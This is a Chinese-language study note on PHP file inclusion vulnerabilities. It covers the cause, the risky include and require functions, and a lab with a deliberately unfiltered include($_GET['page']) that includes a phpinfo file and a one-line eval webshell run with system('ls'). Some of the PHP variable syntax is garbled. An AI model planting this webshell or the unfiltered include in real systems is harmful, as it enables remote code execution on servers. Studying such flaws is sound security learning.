文件包含 0 1学习

漏洞原理

成因

文件包含漏洞是一个最常见的依赖与脚本运行而影响Web应用程序的漏洞.当应用程序使用攻击者控制的变量建立一个可执行代码的路径,允许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞.程序开发人员通常会把可重复使用的函数写入单文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含,此外,程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,导致文件包含漏洞.

危险函数

文件包含漏洞出现的前提是服务器开启allow_url_include选项在此前提下就可以通过php的某些特性函数(include require,include_once,require_once)利用url去动态包含文件,区别在于include(),include_once()遇到错误继续执行,而require(),require_once()遇到错误直接退出程序,如果在PHP配置中开启了allow_url_fopen,那么就可以进行远程文件包含.

|-------------------------------------------|--------------------------------------|
| 函数 | 概况 |
| include(filepath&<url&伪协议>) | 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常执行 |
| include_once(filepath&<url&伪协议>) | 只包含一次,其他同上 |
| require(filepath&<url&伪协议>) | 在包含的过程中如果出现错误,会直接报错并退出程序的执行 |
| require_once(filepath&<url&伪协议>) | 只包含一次,其他同上 |
| file(filepath&<url&伪协议>) | 把整个文件读入一个数组 |
| fopen(filepath&<url&伪协议>,$mode) | 打开文件或者URL(包含伪协议),搭配fread()和fgets()使用 |
| readfile(filepath&<url&伪协议>) | 读取并输出文件(不输出php代码),返回字节数 |
| highlight_file(filepath&<url&伪协议>) | 高亮输出代码 |
| show_source(filepath&<url&伪协议>) | 同上 |
| file_get_contents(filepath&<url&伪协议>) | 把整个文件读入一个字符串 |

最简单的文件包含

<?php

file=_GET['page'];

include($file);

?>

代码分析:

file=_GET['page'];会将get传参page的值赋值给$file

include(包含$file)任何文件包含后如果携带有php代码会直接解析

这里用户以GET形式的页面传入变量file,随后被include函数包含,中途没有进行任何过滤和规范性检测,黑客往往利用这种漏洞进行任意代码执行或文件读取

实验

include.php

<?php

file=_GET['page'];

include($file);

?>

.任意后缀名都可以

phpinfo

<? php phpinfo(); ?>包含phpinfo直接显示

一句话木马

<? php eval($_GET['md']); ?>

注意事项

文件包含只包含xxx文件如果是想给包含的文件传入数据需要用到&然后指定传入什么数据

在使用system的时候需要"system('命令');"记住不要忘记;

&md=system("ls");

相关推荐
Cao_Shixin攻城狮3 小时前
Flutter运行Android项目时显示java版本不兼容(Unsupported class file major version 65)的处理
android·java·flutter
呼啦啦呼啦啦啦啦啦啦6 小时前
利用pdfjs实现的pdf预览简单demo(包含翻页功能)
android·javascript·pdf
idjl8 小时前
Mysql测试题
android·adb
iFulling10 小时前
【计算机网络】第四章:网络层(上)
学习·计算机网络
香蕉可乐荷包蛋10 小时前
AI算法之图像识别与分类
人工智能·学习·算法
游戏开发爱好者810 小时前
iOS App 电池消耗管理与优化 提升用户体验的完整指南
android·ios·小程序·https·uni-app·iphone·webview
xiaoli232710 小时前
课题学习笔记1——文本问答与信息抽取关键技术研究论文阅读(用于无结构化文本问答的文本生成技术)
笔记·学习
人生游戏牛马NPC1号10 小时前
学习 Flutter (四):玩安卓项目实战 - 中
android·学习·flutter
LGGGGGQ12 小时前
嵌入式学习-PyTorch(7)-day23
人工智能·pytorch·学习
stm 学习ing12 小时前
Python暑期学习笔记3
笔记·python·学习